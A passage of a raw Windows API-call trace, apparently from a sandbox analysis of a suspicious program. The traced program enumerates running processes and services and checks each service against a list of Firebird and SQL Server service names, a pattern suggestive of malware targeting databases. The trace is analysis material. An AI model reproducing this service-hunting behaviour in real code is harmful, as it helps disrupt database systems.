lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0160.055] lstrlenW (lpString="drama tv thee.exe") returned 17 [0160.055] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0160.056] lstrlenW (lpString="barriers.exe") returned 12 [0160.056] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0160.057] lstrlenW (lpString="shootclick.exe") returned 14 [0160.057] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0160.057] lstrlenW (lpString="nickel.exe") returned 10 [0160.057] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0160.058] lstrlenW (lpString="imperialopened.exe") returned 18 [0160.058] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0160.059] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0160.059] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0160.060] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0160.060] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0160.061] lstrlenW (lpString="perhapssentences.exe") returned 20 [0160.061] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0160.062] lstrlenW (lpString="dllhost.exe") returned 11 [0160.062] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.063] lstrlenW (lpString="svchost.exe") returned 11 [0160.063] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0160.063] lstrlenW (lpString="chrome64b.exe") returned 13 [0160.064] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0160.064] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0160.064] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0160.065] lstrlenW (lpString="conhost.exe") returned 11 [0160.065] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0160.066] lstrlenW (lpString="cmd.exe") returned 7 [0160.066] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0160.070] lstrlenW (lpString="conhost.exe") returned 11 [0160.070] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0160.070] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0160.070] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0160.071] CloseHandle (hObject=0x2f8) returned 1 [0160.071] Sleep (dwMilliseconds=0x1f4) [0160.589] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7cea78 [0160.589] EnumServicesStatusExW (in: hSCManager=0x7cea78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0160.589] GetLastError () returned 0xea [0160.589] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x7e9780 [0160.589] EnumServicesStatusExW (in: hSCManager=0x7cea78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e9780, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e9780, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0160.590] CloseServiceHandle (hSCObject=0x7cea78) returned 1 [0160.590] lstrlenW (lpString="Appinfo") returned 7 [0160.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0160.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0160.590] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0160.590] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0160.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0160.590] lstrlenW (lpString="AppXSvc") returned 7 [0160.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0160.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0160.590] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0160.590] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0160.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0160.591] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0160.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.591] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0160.591] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0160.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0160.591] lstrlenW (lpString="Audiosrv") returned 8 [0160.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0160.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0160.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0160.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0160.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0160.591] lstrlenW (lpString="BFE") returned 3 [0160.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0160.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0160.591] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0160.591] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0160.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0160.591] lstrlenW (lpString="BITS") returned 4 [0160.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0160.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0160.591] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0160.591] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0160.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0160.591] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0160.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0160.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0160.591] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0160.591] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0160.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0160.591] lstrlenW (lpString="CDPSvc") returned 6 [0160.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0160.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0160.592] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0160.592] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0160.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0160.592] lstrlenW (lpString="ClickToRunSvc") returned 13 [0160.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0160.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0160.592] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0160.592] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0160.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0160.592] lstrlenW (lpString="ClipSVC") returned 7 [0160.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0160.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0160.592] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0160.592] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0160.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0160.592] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0160.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0160.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0160.592] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0160.592] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0160.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0160.592] lstrlenW (lpString="CryptSvc") returned 8 [0160.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0160.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0160.592] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0160.592] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0160.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0160.592] lstrlenW (lpString="DcomLaunch") returned 10 [0160.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.592] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0160.592] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0160.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0160.592] lstrlenW (lpString="DeviceAssociationService") returned 24 [0160.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0160.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0160.593] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0160.593] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0160.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0160.593] lstrlenW (lpString="Dhcp") returned 4 [0160.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0160.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0160.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0160.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0160.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0160.593] lstrlenW (lpString="Dnscache") returned 8 [0160.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0160.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0160.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0160.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0160.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0160.593] lstrlenW (lpString="DoSvc") returned 5 [0160.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0160.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0160.593] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0160.593] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0160.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0160.593] lstrlenW (lpString="DPS") returned 3 [0160.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0160.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0160.593] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0160.593] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0160.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0160.593] lstrlenW (lpString="DusmSvc") returned 7 [0160.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0160.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0160.593] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0160.593] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0160.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0160.594] lstrlenW (lpString="EventLog") returned 8 [0160.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0160.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0160.594] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0160.594] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0160.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0160.594] lstrlenW (lpString="EventSystem") returned 11 [0160.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0160.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0160.594] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0160.594] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0160.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0160.594] lstrlenW (lpString="FontCache") returned 9 [0160.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0160.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0160.594] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0160.594] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0160.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0160.594] lstrlenW (lpString="gpsvc") returned 5 [0160.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0160.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0160.594] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0160.594] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0160.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0160.594] lstrlenW (lpString="iphlpsvc") returned 8 [0160.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.594] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0160.594] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0160.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0160.594] lstrlenW (lpString="KeyIso") returned 6 [0160.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0160.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0160.594] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0160.595] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0160.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0160.595] lstrlenW (lpString="LanmanServer") returned 12 [0160.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0160.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0160.595] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0160.595] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0160.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0160.595] lstrlenW (lpString="LanmanWorkstation") returned 17 [0160.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.595] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0160.595] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0160.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0160.595] lstrlenW (lpString="lfsvc") returned 5 [0160.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0160.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0160.595] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0160.595] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0160.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0160.595] lstrlenW (lpString="LicenseManager") returned 14 [0160.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0160.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0160.595] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0160.595] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0160.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0160.595] lstrlenW (lpString="lmhosts") returned 7 [0160.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0160.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0160.595] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0160.595] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0160.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0160.595] lstrlenW (lpString="LSM") returned 3 [0160.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0160.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0160.596] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0160.596] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0160.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0160.596] lstrlenW (lpString="MpsSvc") returned 6 [0160.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0160.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0160.596] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0160.596] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0160.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0160.596] lstrlenW (lpString="NcbService") returned 10 [0160.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0160.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0160.596] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0160.596] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0160.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0160.596] lstrlenW (lpString="netprofm") returned 8 [0160.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0160.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0160.596] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0160.596] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0160.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0160.596] lstrlenW (lpString="NlaSvc") returned 6 [0160.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0160.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0160.596] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0160.596] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0160.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0160.596] lstrlenW (lpString="nsi") returned 3 [0160.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0160.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0160.596] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0160.596] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0160.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0160.596] lstrlenW (lpString="PcaSvc") returned 6 [0160.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0160.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0160.597] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0160.597] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0160.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0160.597] lstrlenW (lpString="PlugPlay") returned 8 [0160.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0160.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0160.597] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0160.597] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0160.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0160.597] lstrlenW (lpString="Power") returned 5 [0160.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0160.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0160.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0160.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0160.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0160.597] lstrlenW (lpString="ProfSvc") returned 7 [0160.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0160.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0160.597] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0160.597] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0160.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0160.617] lstrlenW (lpString="RpcEptMapper") returned 12 [0160.617] lstrcmpiW 